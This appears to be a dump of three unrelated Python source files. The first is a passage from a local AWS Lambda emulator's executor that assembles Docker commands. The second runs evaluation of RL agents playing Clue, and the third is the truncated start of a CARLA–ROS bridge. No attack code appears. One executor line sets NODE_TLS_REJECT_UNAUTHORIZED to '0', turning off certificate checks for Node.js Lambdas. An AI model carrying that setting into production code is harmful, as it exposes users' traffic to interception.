LAMBDA_API_UNIQUE_PORTS = 500
LAMBDA_API_PORT_OFFSET = 9000
# logger
LOG = logging.getLogger(__name__)
# maximum time a pre-allocated container can sit idle before getting killed
MAX_CONTAINER_IDLE_TIME_MS = 600 * 1000
# SQS event source name
EVENT_SOURCE_SQS = 'aws:sqs'
# IP address of main Docker container (lazily initialized)
DOCKER_MAIN_CONTAINER_IP = None
# whether to use our custom Java executor, or the default from lambci
# TODO: deprecated, should be removed in the future
USE_CUSTOM_JAVA_EXECUTOR = False
# maps lambda arns to concurrency locks
LAMBDA_CONCURRENCY_LOCK = {}
def get_from_event(event, key):
try:
return event['Records'][0][key]
except KeyError:
return None
def is_java_lambda(lambda_details):
runtime = getattr(lambda_details, 'runtime', lambda_details)
return runtime in [LAMBDA_RUNTIME_JAVA8, LAMBDA_RUNTIME_JAVA11]
def is_nodejs_runtime(lambda_details):
runtime = getattr(lambda_details, 'runtime', lambda_details)
return runtime.startswith('nodejs')
def _store_logs(func_details, log_output, invocation_time=None, container_id=None):
log_group_name = '/aws/lambda/%s' % func_details.name()
container_id = container_id or short_uid()
invocation_time = invocation_time or int(time.time() * 1000)
invocation_time_secs = int(invocation_time / 1000)
time_str = time.strftime('%Y/%m/%d', time.gmtime(invocation_time_secs))
log_stream_name = '%s/[LATEST]%s' % (time_str, container_id)
return store_cloudwatch_logs(log_group_name, log_stream_name, log_output, invocation_time)
def get_main_endpoint_from_container():
global DOCKER_MAIN_CONTAINER_IP
if DOCKER_MAIN_CONTAINER_IP is None:
DOCKER_MAIN_CONTAINER_IP = False
try:
if in_docker():
DOCKER_MAIN_CONTAINER_IP = bootstrap.get_main_container_ip()
LOG.info('Determined main container target IP: %s' % DOCKER_MAIN_CONTAINER_IP)
except Exception as e:
container_name = bootstrap.get_main_container_name()
LOG.info('Unable to get IP address of main Docker container "%s": %s' %
(container_name, e))
# return main container IP, or fall back to Docker host (bridge IP, or host DNS address)
return DOCKER_MAIN_CONTAINER_IP or config.DOCKER_HOST_FROM_CONTAINER
class LambdaExecutor(object):
""" Base class for Lambda executors. Subclasses must overwrite the _execute method """
def __init__(self):
# keeps track of each function arn and the last time it was invoked
self.function_invoke_times = {}
def _prepare_environment(self, func_details):
# setup environment pre-defined variables for docker environment
result = func_details.envvars.copy()
# injecting aws credentials into docker environment if not provided
aws_stack.inject_test_credentials_into_env(result)
return result
def execute(self, func_arn, func_details, event, context=None, version=None,
asynchronous=False, callback=None):
def do_execute(*args):
@cloudwatched('lambda')
def _run(func_arn=None):
# set the invocation time in milliseconds
invocation_time = int(time.time() * 1000)
# start the execution
raised_error = None
result = None
dlq_sent = None
try:
result = self._execute(func_arn, func_details, event, context, version)
except Exception as e:
raised_error = e
if asynchronous:
if get_from_event(event, 'eventSource') == EVENT_SOURCE_SQS:
sqs_queue_arn = get_from_event(event, 'eventSourceARN')
if sqs_queue_arn:
# event source is SQS, send event back to dead letter queue
dlq_sent = sqs_error_to_dead_letter_queue(sqs_queue_arn, event, e)
else:
# event source is not SQS, send back to lambda dead letter queue
lambda_error_to_dead_letter_queue(func_details, event, e)
raise e
finally:
self.function_invoke_times[func_arn] = invocation_time
callback and callback(result, func_arn, event, error=raised_error, dlq_sent=dlq_sent)
# return final result
return result
return _run(func_arn=func_arn)
# Inform users about asynchronous mode of the lambda execution.
if asynchronous:
LOG.debug('Lambda executed in Event (asynchronous) mode, no response will be returned to caller')
FuncThread(do_execute).start()
return None, 'Lambda executed asynchronously.'
return do_execute()
def _execute(self, func_arn, func_details, event, context=None, version=None):
""" This method must be overwritten by subclasses. """
raise Exception('Not implemented.')
def startup(self):
pass
def cleanup(self, arn=None):
pass
def run_lambda_executor(self, cmd, event=None, func_details=None, env_vars={}):
kwargs = {'stdin': True, 'inherit_env': True, 'asynchronous': True}
env_vars = env_vars or {}
is_provided = func_details.runtime.startswith(LAMBDA_RUNTIME_PROVIDED)
if func_details and is_provided and env_vars.get('DOCKER_LAMBDA_USE_STDIN') == '1':
# Note: certain "provided" runtimes (e.g., Rust programs) can block when we pass in
# the event payload via stdin, hence we rewrite the command to "echo ... | ..." below
env_updates = {
'PATH': env_vars.get('PATH') or os.environ.get('PATH', ''),
'AWS_LAMBDA_EVENT_BODY': to_str(event),
'DOCKER_LAMBDA_USE_STDIN': '1'
}
env_vars.update(env_updates)
# Note: $AWS_LAMBDA_COGNITO_IDENTITY='{}' causes Rust Lambdas to hang
env_vars.pop('AWS_LAMBDA_COGNITO_IDENTITY', None)
event = None
cmd = re.sub(r'(.*)(%s\s+(run|start))' % self._docker_cmd(), r'\1echo $AWS_LAMBDA_EVENT_BODY | \2', cmd)
process = run(cmd, env_vars=env_vars, stderr=subprocess.PIPE, outfile=subprocess.PIPE, **kwargs)
result, log_output = process.communicate(input=event)
try:
result = to_str(result).strip()
except Exception:
pass
log_output = to_str(log_output).strip()
return_code = process.returncode
# Note: The user's code may have been logging to stderr, in which case the logs
# will be part of the "result" variable here. Hence, make sure that we extract
# only the *last* line of "result" and consider anything above that as log output.
if isinstance(result, six.string_types) and '\n' in result:
additional_logs, _, result = result.rpartition('\n')
log_output += '\n%s' % additional_logs
log_formatted = log_output.strip().replace('\n', '\n> ')
func_arn = func_details and func_details.arn()
LOG.debug('Lambda %s result / log output:\n%s\n> %s' % (func_arn, result.strip(), log_formatted))
# store log output - TODO get live logs from `process` above?
_store_logs(func_details, log_output)
if return_code != 0:
raise Exception('Lambda process returned error status code: %s. Result: %s. Output:\n%s' %
(return_code, result, log_output))
return result
class ContainerInfo:
""" Contains basic information about a docker container. """
def __init__(self, name, entry_point):
self.name = name
self.entry_point = entry_point
class LambdaExecutorContainers(LambdaExecutor):
""" Abstract executor class for executing Lambda functions in Docker containers """
def prepare_execution(self, func_arn, env_vars, runtime, command, handler, lambda_cwd):
raise Exception('Not implemented')
def _docker_cmd(self):
""" Return the string to be used for running Docker commands. """
return config.DOCKER_CMD
def prepare_event(self, environment, event_body):
""" Return the event as a stdin string. """
# amend the environment variables for execution
environment['AWS_LAMBDA_EVENT_BODY'] = event_body
return None
def _execute(self, func_arn, func_details, event, context=None, version=None):
lambda_cwd = func_details.cwd
runtime = func_details.runtime
handler = func_details.handler
environment = self._prepare_environment(func_details)
# configure USE_SSL in environment
if config.USE_SSL:
environment['USE_SSL'] = '1'
# prepare event body
if not event:
LOG.warning('Empty event body specified for invocation of Lambda "%s"' % func_arn)
event = {}
event_body = json.dumps(json_safe(event))
stdin = self.prepare_event(environment, event_body)
main_endpoint = get_main_endpoint_from_container()
environment['LOCALSTACK_HOSTNAME'] = main_endpoint
environment['EDGE_PORT'] = str(config.EDGE_PORT)
environment['_HANDLER'] = handler
if os.environ.get('HTTP_PROXY'):
environment['HTTP_PROXY'] = os.environ['HTTP_PROXY']
if func_details.timeout:
environment['AWS_LAMBDA_FUNCTION_TIMEOUT'] = str(func_details.timeout)
if context:
environment['AWS_LAMBDA_FUNCTION_NAME'] = context.function_name
environment['AWS_LAMBDA_FUNCTION_VERSION'] = context.function_version
environment['AWS_LAMBDA_FUNCTION_INVOKED_ARN'] = context.invoked_function_arn
environment['AWS_LAMBDA_COGNITO_IDENTITY'] = json.dumps(context.cognito_identity or {})
if context.client_context is not None:
environment['AWS_LAMBDA_CLIENT_CONTEXT'] = json.dumps(to_str(
base64.b64decode(to_bytes(context.client_context))))
# custom command to execute in the container
command = ''
events_file = ''
if USE_CUSTOM_JAVA_EXECUTOR and is_java_lambda(runtime):
# if running a Java Lambda with our custom executor, set up classpath arguments
java_opts = Util.get_java_opts()
stdin = None
# copy executor jar into temp directory
target_file = os.path.join(lambda_cwd, os.path.basename(LAMBDA_EXECUTOR_JAR))
if not os.path.exists(target_file):
cp_r(LAMBDA_EXECUTOR_JAR, target_file)
# TODO cleanup once we have custom Java Docker image
taskdir = '/var/task'
events_file = '_lambda.events.%s.json' % short_uid()
save_file(os.path.join(lambda_cwd, events_file), event_body)
classpath = Util.get_java_classpath(target_file)
command = ("bash -c 'cd %s; java %s -cp \"%s\" \"%s\" \"%s\" \"%s\"'" %
(taskdir, java_opts, classpath, LAMBDA_EXECUTOR_CLASS, handler, events_file))
# accept any self-signed certificates for outgoing calls from the Lambda
if is_nodejs_runtime(runtime):
environment['NODE_TLS_REJECT_UNAUTHORIZED'] = '0'
# determine the command to be executed (implemented by subclasses)
cmd = self.prepare_execution(func_arn, environment, runtime, command, handler, lambda_cwd)
# lambci writes the Lambda result to stdout and logs to stderr, fetch it from there!
LOG.info('Running lambda cmd: %s' % cmd)
result = self.run_lambda_executor(cmd, stdin, env_vars=environment, func_details=func_details)
# clean up events file
events_file and os.path.exists(events_file) and rm_rf(events_file)
return result
class LambdaExecutorReuseContainers(LambdaExecutorContainers):
""" Executor class for executing Lambda functions in re-usable Docker containers """
def __init__(self):
super(LambdaExecutorReuseContainers, self).__init__()
# locking thread for creation/destruction of docker containers.
self.docker_container_lock = threading.RLock()
# On each invocation we try to construct a port unlikely to conflict
# with a previously invoked lambda function. This is a problem with at
# least the lambci/lambda:go1.x container, which execs a go program that
# attempts to bind to the same default port.
self.next_port = 0
self.max_port = LAMBDA_SERVER_UNIQUE_PORTS
self.port_offset = LAMBDA_SERVER_PORT_OFFSET
def prepare_execution(self, func_arn, env_vars, runtime, command, handler, lambda_cwd):
# check whether the Lambda has been invoked before
has_been_invoked_before = func_arn in self.function_invoke_times
# Choose a port for this invocation
with self.docker_container_lock:
env_vars['_LAMBDA_SERVER_PORT'] = str(self.next_port + self.port_offset)
self.next_port = (self.next_port + 1) % self.max_port
# create/verify the docker container is running.
LOG.debug('Priming docker container with runtime "%s" and arn "%s".', runtime, func_arn)
container_info = self.prime_docker_container(runtime, func_arn, env_vars.items(), lambda_cwd)
# Note: currently "docker exec" does not support --env-file, i.e., environment variables can only be
# passed directly on the command line, using "-e" below. TODO: Update this code once --env-file is
# available for docker exec, to better support very large Lambda events (very long environment values)
exec_env_vars = ' '.join(['-e {}="${}"'.format(k, k) for (k, v) in env_vars.items()])
if not command:
command = '%s %s' % (container_info.entry_point, handler)
# determine files to be copied into the container
copy_command = ''
docker_cmd = self._docker_cmd()
if not has_been_invoked_before and config.LAMBDA_REMOTE_DOCKER:
# if this is the first invocation: copy the entire folder into the container
copy_command = '%s cp "%s/." "%s:/var/task";' % (docker_cmd, lambda_cwd, container_info.name)
cmd = (
'%s'
' %s exec'
' %s' # env variables
' %s' # container name
' %s' # run cmd
) % (copy_command, docker_cmd, exec_env_vars, container_info.name, command)
LOG.debug('Command for docker-reuse Lambda executor: %s' % cmd)
return cmd
def _execute(self, func_arn, *args, **kwargs):
if not LAMBDA_CONCURRENCY_LOCK.get(func_arn):
concurrency_lock = threading.RLock()
LAMBDA_CONCURRENCY_LOCK[func_arn] = concurrency_lock
with LAMBDA_CONCURRENCY_LOCK[func_arn]:
return super(LambdaExecutorReuseContainers, self)._execute(func_arn, *args, **kwargs)
def startup(self):
self.cleanup()
# start a process to remove idle containers
if config.LAMBDA_REMOVE_CONTAINERS:
self.start_idle_container_destroyer_interval()
def cleanup(self, arn=None):
if arn:
self.function_invoke_times.pop(arn, None)
return self.destroy_docker_container(arn)
self.function_invoke_times = {}
return self.destroy_existing_docker_containers()
def prime_docker_container(self, runtime, func_arn, env_vars, lambda_cwd):
"""
Prepares a persistent docker container for a specific function.
:param runtime: Lamda runtime environment. python2.7, nodejs6.10, etc.
:param func_arn: The ARN of the lambda function.
:param env_vars: The environment variables for the lambda.
:param lambda_cwd: The local directory containing the code for the lambda function.
:return: ContainerInfo class containing the container name and default entry point.
"""
with self.docker_container_lock:
# Get the container name and id.
container_name = self.get_container_name(func_arn)
docker_cmd = self._docker_cmd()
status = self.get_docker_container_status(func_arn)
LOG.debug('Priming docker container (status "%s"): %s' % (status, container_name))
docker_image = Util.docker_image_for_runtime(runtime)
rm_flag = Util.get_docker_remove_flag()
# Container is not running or doesn't exist.
if status < 1:
# Make sure the container does not exist in any form/state.
self.destroy_docker_container(func_arn)
env_vars_str = ' '.join(['-e {}={}'.format(k, cmd_quote(v)) for (k, v) in env_vars])
network = config.LAMBDA_DOCKER_NETWORK
network_str = '--network="%s"' % network if network else ''
dns = config.LAMBDA_DOCKER_DNS
dns_str = '--dns="%s"' % dns if dns else ''
mount_volume = not config.LAMBDA_REMOTE_DOCKER
lambda_cwd_on_host = Util.get_host_path_for_path_in_docker(lambda_cwd)
if (':' in lambda_cwd and '\\' in lambda_cwd):
lambda_cwd_on_host = Util.format_windows_path(lambda_cwd_on_host)
mount_volume_str = '-v "%s":/var/task' % lambda_cwd_on_host if mount_volume else ''
# Create and start the container
LOG.debug('Creating container: %s' % container_name)
cmd = (
'%s create'
' %s' # --rm flag
' --name "%s"'
' --entrypoint /bin/bash' # Load bash when it starts.
' %s'
' --interactive' # Keeps the container running bash.
' -e AWS_LAMBDA_EVENT_BODY="$AWS_LAMBDA_EVENT_BODY"'
' -e HOSTNAME="$HOSTNAME"'
' -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME"'
' -e EDGE_PORT="$EDGE_PORT"'
' %s' # env_vars
' %s' # network
' %s' # dns
' %s'
) % (docker_cmd, rm_flag, container_name, mount_volume_str,
env_vars_str, network_str, dns_str, docker_image)
LOG.debug(cmd)
run(cmd)
if not mount_volume:
LOG.debug('Copying files to container "%s" from "%s".' % (container_name, lambda_cwd))
cmd = (
'%s cp'
' "%s/." "%s:/var/task"'
) % (docker_cmd, lambda_cwd, container_name)
LOG.debug(cmd)
run(cmd)
LOG.debug('Starting container: %s' % container_name)
cmd = '%s start %s' % (docker_cmd, container_name)
LOG.debug(cmd)
run(cmd)
# give the container some time to start up
time.sleep(1)
# Get the entry point for the image.
LOG.debug('Getting the entrypoint for image: %s' % (docker_image))
cmd = (
'%s image inspect'
' --format="{{ .Config.Entrypoint }}"'
' %s'
) % (docker_cmd, docker_image)
LOG.debug(cmd)
run_result = run(cmd)
entry_point = run_result.strip('[]\n\r ')
container_network = self.get_docker_container_network(func_arn)
LOG.debug('Using entrypoint "%s" for container "%s" on network "%s".'
% (entry_point, container_name, container_network))
return ContainerInfo(container_name, entry_point)
def destroy_docker_container(self, func_arn):
"""
Stops and/or removes a docker container for a specific lambda function ARN.
:param func_arn: The ARN of the lambda function.
:return: None
"""
with self.docker_container_lock:
status = self.get_docker_container_status(func_arn)
docker_cmd = self._docker_cmd()
# Get the container name and id.
container_name = self.get_container_name(func_arn)
if status == 1:
LOG.debug('Stopping container: %s' % container_name)
cmd = '%s stop -t0 %s' % (docker_cmd, container_name)
LOG.debug(cmd)
run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE)
status = self.get_docker_container_status(func_arn)
if status == -1:
LOG.debug('Removing container: %s' % container_name)
cmd = '%s rm %s' % (docker_cmd, container_name)
LOG.debug(cmd)
run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE)
def get_all_container_names(self):
"""
Returns a list of container names for lambda containers.
:return: A String[] localstack docker container names for each function.
"""
with self.docker_container_lock:
LOG.debug('Getting all lambda containers names.')
cmd = '%s ps -a --filter="name=localstack_lambda_*" --format "{{.Names}}"' % self._docker_cmd()
LOG.debug(cmd)
cmd_result = run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE).strip()
if len(cmd_result) > 0:
container_names = cmd_result.split('\n')
else:
container_names = []
return container_names
def destroy_existing_docker_containers(self):
"""
Stops and/or removes all lambda docker containers for localstack.
:return: None
"""
with self.docker_container_lock:
container_names = self.get_all_container_names()
LOG.debug('Removing %d containers.' % len(container_names))
for container_name in container_names:
cmd = '%s rm -f %s' % (self._docker_cmd(), container_name)
LOG.debug(cmd)
run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE)
def get_docker_container_status(self, func_arn):
"""
Determine the status of a docker container.
:param func_arn: The ARN of the lambda function.
:return: 1 If the container is running,
-1 if the container exists but is not running
0 if the container does not exist.
"""
with self.docker_container_lock:
# Get the container name and id.
container_name = self.get_container_name(func_arn)
# Check if the container is already running
# Note: filtering by *exact* name using regex filter '^...$' seems unstable on some
# systems. Therefore, we use a combination of filter and grep to get the results.
cmd = ("docker ps -a --filter name='%s' "
'--format "{{ .Status }} - {{ .Names }}" '
'| grep -w "%s" | cat') % (container_name, container_name)
LOG.debug('Getting status for container "%s": %s' % (container_name, cmd))
cmd_result = run(cmd)
# If the container doesn't exist. Create and start it.
container_status = cmd_result.strip()
if len(container_status) == 0:
return 0
if container_status.lower().startswith('up '):
return 1
return -1
def get_docker_container_network(self, func_arn):
"""
Determine the network of a docker container.
:param func_arn: The ARN of the lambda function.
:return: name of the container network
"""
with self.docker_container_lock:
status = self.get_docker_container_status(func_arn)
# container does not exist
if status == 0:
return ''
# Get the container name.
container_name = self.get_container_name(func_arn)
docker_cmd = self._docker_cmd()
# Get the container network
LOG.debug('Getting container network: %s' % container_name)
cmd = (
'%s inspect %s'
' --format "{{ .HostConfig.NetworkMode }}"'
) % (docker_cmd, container_name)
LOG.debug(cmd)
cmd_result = run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE)
container_network = cmd_result.strip()
return container_network
def idle_container_destroyer(self):
"""
Iterates though all the lambda containers and destroys any container that has
been inactive for longer than MAX_CONTAINER_IDLE_TIME_MS.
:return: None
"""
LOG.info('Checking if there are idle containers.')
current_time = int(time.time() * 1000)
for func_arn, last_run_time in dict(self.function_invoke_times).items():
duration = current_time - last_run_time
# not enough idle time has passed
if duration < MAX_CONTAINER_IDLE_TIME_MS:
continue
# container has been idle, destroy it.
self.destroy_docker_container(func_arn)
def start_idle_container_destroyer_interval(self):
"""
Starts a repeating timer that triggers start_idle_container_destroyer_interval every 60 seconds.
Thus checking for idle containers and destroying them.
:return: None
"""
self.idle_container_destroyer()
threading.Timer(60.0, self.start_idle_container_destroyer_interval).start()
def get_container_name(self, func_arn):
"""
Given a function ARN, returns a valid docker container name.
:param func_arn: The ARN of the lambda function.
:return: A docker compatible name for the arn.
"""
return 'localstack_lambda_' + re.sub(r'[^a-zA-Z0-9_.-]', '_', func_arn)
class LambdaExecutorSeparateContainers(LambdaExecutorContainers):
def __init__(self):
super(LambdaExecutorSeparateContainers, self).__init__()
self.max_port = LAMBDA_API_UNIQUE_PORTS
self.port_offset = LAMBDA_API_PORT_OFFSET
def prepare_event(self, environment, event_body):
# Tell Lambci to use STDIN for the event
environment['DOCKER_LAMBDA_USE_STDIN'] = '1'
return event_body.encode()
def prepare_execution(self, func_arn, env_vars, runtime, command, handler, lambda_cwd):
entrypoint = ''
if command:
entrypoint = ' --entrypoint ""'
else:
command = '"%s"' % handler
# add Docker Lambda env vars
network = config.LAMBDA_DOCKER_NETWORK
network_str = '--network="%s"' % network if network else ''
if network == 'host':
port = get_free_tcp_port()
env_vars['DOCKER_LAMBDA_API_PORT'] = port
env_vars['DOCKER_LAMBDA_RUNTIME_PORT'] = port
dns = config.LAMBDA_DOCKER_DNS
dns_str = '--dns="%s"' % dns if dns else ''
env_vars_string = ' '.join(['-e {}="${}"'.format(k, k) for (k, v) in env_vars.items()])
debug_docker_java_port = '-p {p}:{p}'.format(p=Util.debug_java_port) if Util.debug_java_port else ''
docker_cmd = self._docker_cmd()
docker_image = Util.docker_image_for_runtime(runtime)
rm_flag = Util.get_docker_remove_flag()
if config.LAMBDA_REMOTE_DOCKER:
cmd = (
'CONTAINER_ID="$(%s create -i'
' %s' # entrypoint
' %s' # debug_docker_java_port
' %s' # env
' %s' # network
' %s' # dns
' %s' # --rm flag
' %s %s' # image and command
')";'
'%s cp "%s/." "$CONTAINER_ID:/var/task"; '
'%s start -ai "$CONTAINER_ID";'
) % (docker_cmd, entrypoint, debug_docker_java_port,
env_vars_string, network_str, dns_str, rm_flag,
docker_image, command,
docker_cmd, lambda_cwd,
docker_cmd)
else:
lambda_cwd_on_host = Util.get_host_path_for_path_in_docker(lambda_cwd)
cmd = (
'%s run -i'
' %s -v "%s":/var/task'
' %s'
' %s' # network
' %s' # dns
' %s' # --rm flag
' %s %s'
) % (docker_cmd, entrypoint, lambda_cwd_on_host, env_vars_string,
network_str, dns_str, rm_flag, docker_image, command)
return cmd
class LambdaExecutorLocal(LambdaExecutor):
def _execute(self, func_arn, func_details, event, context=None, version=None):
lambda_cwd = func_details.cwd
environment = self._prepare_environment(func_details)
# execute the Lambda function in a forked sub-process, sync result via queue
queue = Queue()
lambda_function = func_details.function(version)
def do_execute():
# now we're executing in the child process, safe to change CWD and ENV
path_before = sys.path
try:
if lambda_cwd:
os.chdir(lambda_cwd)
sys.path = [lambda_cwd] + sys.path
if environment:
os.environ.update(environment)
result = lambda_function(event, context)
queue.put(result)
finally:
sys.path = path_before
process = Process(target=do_execute)
with CaptureOutput() as c:
process.run()
result = queue.get()
# Make sure to keep the log line below, to ensure the log stream gets created
log_output = 'START: Lambda %s started via "local" executor ...' % func_arn
# TODO: Interweaving stdout/stderr currently not supported
for stream in (c.stdout(), c.stderr()):
if stream:
log_output += ('\n' if log_output else '') + stream
# store logs to CloudWatch
_store_logs(func_details, log_output)
return result
def execute_java_lambda(self, event, context, main_file, func_details=None):
handler = func_details.handler
opts = config.LAMBDA_JAVA_OPTS if config.LAMBDA_JAVA_OPTS else ''
event_file = EVENT_FILE_PATTERN.replace('*', short_uid())
save_file(event_file, json.dumps(json_safe(event)))
TMP_FILES.append(event_file)
class_name = handler.split('::')[0]
classpath = '%s:%s:%s' % (main_file, Util.get_java_classpath(main_file), LAMBDA_EXECUTOR_JAR)
cmd = 'java %s -cp %s %s %s %s' % (opts, classpath, LAMBDA_EXECUTOR_CLASS, class_name, event_file)
LOG.warning(cmd)
result = self.run_lambda_executor(cmd, func_details=func_details)
return result
class Util:
debug_java_port = False
@classmethod
def get_java_opts(cls):
opts = config.LAMBDA_JAVA_OPTS or ''
# Replace _debug_port_ with a random free port
if '_debug_port_' in opts:
if not cls.debug_java_port:
cls.debug_java_port = get_free_tcp_port()
opts = opts.replace('_debug_port_', ('%s' % cls.debug_java_port))
else:
# Parse the debug port from opts
m = re.match('.*address=(.+:)?(\\d+).*', opts)
if m is not None:
cls.debug_java_port = m.groups()[1]
return opts
@classmethod
def get_host_path_for_path_in_docker(cls, path):
return re.sub(r'^%s/(.*)$' % config.TMP_FOLDER,
r'%s/\1' % config.HOST_TMP_FOLDER, path)
@classmethod
def format_windows_path(cls, path):
temp = path.replace(':', '').replace('\\', '/')
if len(temp) >= 1 and temp[:1] != '/':
temp = '/' + temp
temp = '%s%s' % (config.WINDOWS_DOCKER_MOUNT_PREFIX, temp)
return temp
@classmethod
def docker_image_for_runtime(cls, runtime):
docker_tag = runtime
docker_image = config.LAMBDA_CONTAINER_REGISTRY
# TODO: remove prefix once execution issues are fixed with dotnetcore/python lambdas
# See https://github.com/lambci/docker-lambda/pull/218
lambdas_to_add_prefix = ['dotnetcore2.0', 'dotnetcore2.1', 'python2.7', 'python3.6', 'python3.7']
if docker_image == 'lambci/lambda' and any(img in docker_tag for img in lambdas_to_add_prefix):
docker_tag = '20191117-%s' % docker_tag
return '"%s:%s"' % (docker_image, docker_tag)
@classmethod
def get_docker_remove_flag(cls):
return '--rm' if config.LAMBDA_REMOVE_CONTAINERS else ''
@classmethod
def get_java_classpath(cls, archive):
"""
Return the Java classpath, using the parent folder of the
given archive as the base folder.
The result contains any *.jar files in the base folder, as
well as any JAR files in the "lib/*" subfolder living
alongside the supplied java archive (.jar or .zip).
:param archive: an absolute path to a .jar or .zip Java archive
:return: the Java classpath, relative to the base dir of "archive"
"""
entries = ['.']
base_dir = os.path.dirname(archive)
for pattern in ['%s/*.jar', '%s/lib/*.jar', '%s/java/lib/*.jar', '%s/*.zip']:
for entry in glob.glob(pattern % base_dir):
if os.path.realpath(archive) != os.path.realpath(entry):
entries.append(os.path.relpath(entry, base_dir))
# make sure to append the localstack-utils.jar at the end of the classpath
# https://github.com/localstack/localstack/issues/1160
entries.append(os.path.relpath(archive, base_dir))
entries.append('*.jar')
entries.append('java/lib/*.jar')
result = ':'.join(entries)
return result
# --------------
# GLOBAL STATE
# --------------
EXECUTOR_LOCAL = LambdaExecutorLocal()
EXECUTOR_CONTAINERS_SEPARATE = LambdaExecutorSeparateContainers()
EXECUTOR_CONTAINERS_REUSE = LambdaExecutorReuseContainers()
DEFAULT_EXECUTOR = EXECUTOR_CONTAINERS_SEPARATE
# the keys of AVAILABLE_EXECUTORS map to the LAMBDA_EXECUTOR config variable
AVAILABLE_EXECUTORS = {
'local': EXECUTOR_LOCAL,
'docker': EXECUTOR_CONTAINERS_SEPARATE,
'docker-reuse': EXECUTOR_CONTAINERS_REUSE
}
|
clue_tf_eval_both.py
|
import threading
import sys
import os
import traceback
import game_board
from Clue import Director
from player import NaiveComputerPlayer, HumanPlayer
from ai_players import RLPlayer, DuelAiPlayer
from paths import Board
new_game_barrier = threading.Barrier(3)
end_game_lock = threading.Lock()
set_guess_barrier = threading.Barrier(3)
next_turn_barrier = threading.Barrier(3)
end_evaluation = threading.Lock()
ai_player = DuelAiPlayer(set_guess_barrier, next_turn_barrier)
players = [
NaiveComputerPlayer(),
NaiveComputerPlayer(),
NaiveComputerPlayer(),
NaiveComputerPlayer(),
NaiveComputerPlayer(),
ai_player
]
director = Director(end_game_lock, players)
## Results
## Step = 5000; AI win ratio = 0.1878
## Final AI win ratio = 0.1878
def load_room_env():
import tensorflow as tf
from tf_agents.environments import tf_py_environment
from tf_agents.policies import policy_saver
from clue_room_tf_env import ClueGameRoomEnvImplementation
tf.compat.v1.enable_v2_behavior()
eval_py_env = ClueGameRoomEnvImplementation(director, set_guess_barrier, next_turn_barrier)
eval_tf_env = tf_py_environment.TFPyEnvironment(eval_py_env)
policy_dir = os.path.join("models_no_delete", "room", "cat dqn-1 more", "policy")
saved_policy = tf.compat.v2.saved_model.load(policy_dir)
return (eval_tf_env, saved_policy)
def load_guess_env():
import tensorflow as tf
from tf_agents.environments import tf_py_environment
from tf_agents.policies import policy_saver
from clue_tf_env import ClueGameEnvImplementation
tf.compat.v1.enable_v2_behavior()
eval_py_env = ClueGameEnvImplementation(director, set_guess_barrier, next_turn_barrier)
eval_tf_env = tf_py_environment.TFPyEnvironment(eval_py_env)
policy_dir = os.path.join("models_no_delete", "best_guess_policy")
saved_policy = tf.compat.v2.saved_model.load(policy_dir)
return (eval_tf_env, saved_policy)
# runs the game director and TF agent
def run_game():
### PARAMS
num_of_games = 5000
log_interval = 50
try:
end_game_lock.acquire()
Board.calculate_room_distances()
ai_wins = 0
games_left = num_of_games
while games_left > 0:
set_guess_barrier.reset()
next_turn_barrier.reset()
director.new_game()
new_game_barrier.wait()
end_game_lock.release()
director.play_auto_game_with_lock(end_game_lock)
#print("AI Player = " + str(ai_player))
#print("Winner = " + str(director.winner))
if ai_player == director.winner:
ai_wins += 1
new_game_barrier.reset()
end_game_lock.acquire()
games_left -= 1
if games_left == 0:
print("evaluation end")
end_evaluation.acquire()
if games_left % log_interval == 0:
games_played = num_of_games - games_left
print("Step = " + str(games_played) + "; AI win ratio = " + str(ai_wins / games_played))
# make the environment cycle
next_turn_barrier.wait()
print("Final AI win ratio = " + str(ai_wins / num_of_games))
except Exception as err:
if not end_evaluation.locked():
end_evaluation.acquire()
if not end_game_lock.locked():
end_game_lock.acquire()
new_game_barrier.abort()
set_guess_barrier.abort()
next_turn_barrier.abort()
traceback.print_tb(err.__traceback__)
raise err
def run_guess_ai():
(guess_env, guess_policy) = load_guess_env()
try:
while not end_evaluation.locked():
new_game_barrier.wait()
next_turn_barrier.wait()
guess_time_step = guess_env.reset()
while not end_game_lock.locked():
guess_action_step = guess_policy.action(guess_time_step)
guess_time_step = guess_env.step(guess_action_step.action)
except Exception as err:
if not end_game_lock.locked():
end_game_lock.acquire()
traceback.print_tb(err.__traceback__)
raise err
def run_room_ai():
(room_env, room_policy) = load_room_env()
try:
while not end_evaluation.locked():
new_game_barrier.wait()
next_turn_barrier.wait()
room_time_step = room_env.reset()
while not end_game_lock.locked():
room_action_step = room_policy.action(room_time_step)
room_time_step = room_env.step(room_action_step.action)
except Exception as err:
if not end_game_lock.locked():
end_game_lock.acquire()
traceback.print_tb(err.__traceback__)
raise err
if __name__ == "__main__":
thread1 = threading.Thread(target=run_game)
thread2 = threading.Thread(target=run_room_ai)
thread3 = threading.Thread(target=run_guess_ai)
# Will execute both in parallel
thread1.start()
thread2.start()
thread3.start()
# Joins threads back to the parent process, which is this program
thread1.join()
thread2.join()
thread3.join()
|
bridge.py
|
#!/usr/bin/env python
#
# Copyright (c) 2018-2020 Intel Corporation
#
# This work is licensed under the terms of the MIT license.
# For a copy, see <https://opensource.org/licenses/MIT>.
#
"""
Rosbridge class:
Class that handle communication between CARLA and ROS
"""
try:
import queue
except ImportError:
import Queue as queue
import sys
from distutils.version import LooseVersion
from threading import Thread, Lock, Event
import pkg_resources
import rospy
import random
from rosgraph_msgs.msg import Clock
import carla
import carla_common.transforms as trans
from carla_ros_bridge.actor import Actor
from carla_ros_bridge.actor_factory import ActorFactory
from carla_ros_bridge.carla_status_publisher import CarlaStatusPublisher
from carla_ros_bridge.debug_helper import DebugHelper
from carla_ros_bridge.world_info import WorldInfo
from carla_ros_bridge.ego_vehicle import EgoVehicle
from carla_msgs.msg import CarlaControl, CarlaWeatherParameters
from carla_msgs.srv import SpawnObject, SpawnObjectResponse, DestroyObject, DestroyObjectResponse, GetBlueprints, GetBlueprintsResponse
# to generate a random spawning position or vehicles
secure_random = random.SystemRandom()
class CarlaRosBridge(object):
"""
Carla Ros bridge
"""
CARLA_VERSION = "0.9.10"
def __init__(self, carla_world, params):
"""
Constructor
:param carla_world: carla world object
:type carla_world: carla.World
:param params: dict of parameters, see settings.yaml
:type params: dict
